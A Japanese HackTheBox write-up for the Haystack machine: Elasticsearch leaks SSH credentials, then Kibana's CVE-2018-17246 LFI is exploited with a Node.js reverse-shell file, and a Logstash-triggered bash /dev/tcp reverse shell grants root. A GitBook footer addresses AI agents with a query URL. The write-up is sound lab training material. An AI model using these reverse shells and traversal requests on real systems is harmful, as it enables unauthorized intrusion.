> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md). # Haystack HackTheBox攻略記事 ElasticSearch列挙、情報漏えい、Kibana列挙、Kibana悪用（CVE-2018-17246）を扱うHaystack HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、 {% embed url="" %} {% hint style="warning" %} **スキル**: * ElasticSearch の列挙 * 情報漏えい * Kibana の列挙 * Kibana の攻撃（CVE-2018-17246） * Logstash の悪用（権限昇格） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts 関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーします（9200）

Nmap によるポートのバージョンスキャン: Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

## 公開されたサービスの分析 ### ポート 80 - 情報漏えい **ExifTool を使ったメタデータの抽出**

サーバー上で見つかった画像を `strings`で分析すると、base64 でエンコードされた文字列が見つかります： `bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

デコードすると、この文字列は次のメッセージを示します： *「干し草の山の中の針は 'key' です」*.

### Elasticsearch - 情報漏えい #### ポート 9200 で ElasticSearch バージョン 6.4.2 が稼働しています。

{% hint style="info" %} Elasticsearch は、大量のデータを素早くインデックス化して検索するために使われる、リアルタイムの検索・分析エンジンです。ELK スタックに統合され、高度なデータ可視化および分析機能を提供します。 {% endhint %}

以下にアクセスすると `/_cat/indices?` URL で、UUID とともにインデックスの一覧を取得できます。インデックスの内容を抽出するには、次の URL を使用します： `http://haystack.htb:9200//_search?pretty=true&size=1000`

**curl を使ったデータフィルタリング** インデックス `quotes` を使い、チャレンジのキーワードで絞り込むと、関連情報が見つかります： ```bash curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave" ```

**Base64 エンコード文字列のデコード** 2つの base64 エンコード文字列が得られ、デコードすると識別情報が明らかになります： ```bash echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo ```

**ユーザー：** `security`/ **パスワード:** `spanish.is.key` ### SSH 接続取得した認証情報で、SSH 経由でターゲットマシンに接続し、ユーザーにアクセスします： ```bash ssh security@10.10.10.115 ```

### フラグ user.txt :)

**Linuxサーバーにアクセスできたら、端末操作のために次のコマンドを実行する:** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` **これにより、より効率的に、そして何よりも快適に作業できます。** ## 権限昇格： ### Kibana（ポートフォワーディング） **手順 1: 開いているポートの特定** まず、次のコマンドを使って内部の開いているポートを確認します： ```bash netstat -nltp ``` ポート **5601** が目を引きます。

を実行すると `curl` このポートに対してリクエストを送ると、Kibana の HTML ページが取得できます： {% hint style="info" %} **Kibana** は、Elasticsearch 向けの箱から出してすぐ使えるデータ可視化ダッシュボードソフトウェアです {% endhint %}

**手順 2: Kibana へアクセスするためのポートフォワーディング** サーバーの内部ポートを **5601** ローカルマシンへ転送し、ブラウザからアクセスします。この転送は SSH で次のコマンドを使って行えます： ```bash ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N ``` これにより、ターゲットマシンのローカルポート 5601 が自分のマシンのポート 5601 に転送され、直接アクセスできるようになります

**手順 3: Kibana のバージョン確認** にアクセスすることで `http://localhost:5601/api/status`で、Kibana のバージョン番号を確認できます： **6.4.2**。このバージョンは **ローカルファイルインクルージョン（LFI）** 攻撃に脆弱であり、次のものとして識別されます **CVE-2018-17246**.

### Kibana の攻撃（CVE-2018-17246） {% embed url="" %} **手順 4: 脆弱性の悪用** この脆弱性を悪用するため、リバースシェルを取得する JavaScript ファイルを作成します。ターゲットマシンの `/tmp` ディレクトリに、次の名前のファイルを作成します： `rev.js` 次のコードを記述します：

function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Node.js アプリケーションのクラッシュを防ぐ
})();

このスクリプトは、あなたのマシンのポート **443** に接続し、シェルを開きます。 **手順 5: ストリームをファイルへリダイレクト** 次に、ストリームを `/dev/shm/rev.js` ファイルへ次のコマンドでリダイレクトします： ```bash curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js" ``` **手順 6: リバースシェル用にポートで待ち受ける** 自分のマシンで、ポート **443** でリバースシェルを受けるためのリスナーを起動します： ```bash nc -nlvp 443 ``` ログインすると、ターゲットマシン上でシェルを取得でき、権限昇格が可能になります。

## Logstash の悪用ユーザーがアクセスできるすべてのファイルを検索します `kibana`: ```bash find / -user kibana 2>/dev/null | grep -vE "usr|var|proc" ```

Logstash にアクセスすると、3つの設定ファイルが見つかります： * `filter.conf` * `input.conf` * `output.conf`

{% hint style="warning" %} 要するに、Logstash は 10 秒ごとに次の名前のファイルがあるかどうかを確認する cron ジョブを実行しています： `logstash_*` が `/opt/kibana/` ディレクトリに存在します。一致するファイルが見つかり、特定の入力を含むコマンドがある場合、形式は次のとおりです： {% endhint %} `"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

この脆弱性を悪用するため、次の名前のファイルを作成します： `logstash_exec` の中の `/opt/kibana/` ディレクトリに、次の内容を記述します： ```bash bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 ``` 次に、ポート 4444 で待ち受け、root 権限を取得します。

### rootフラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.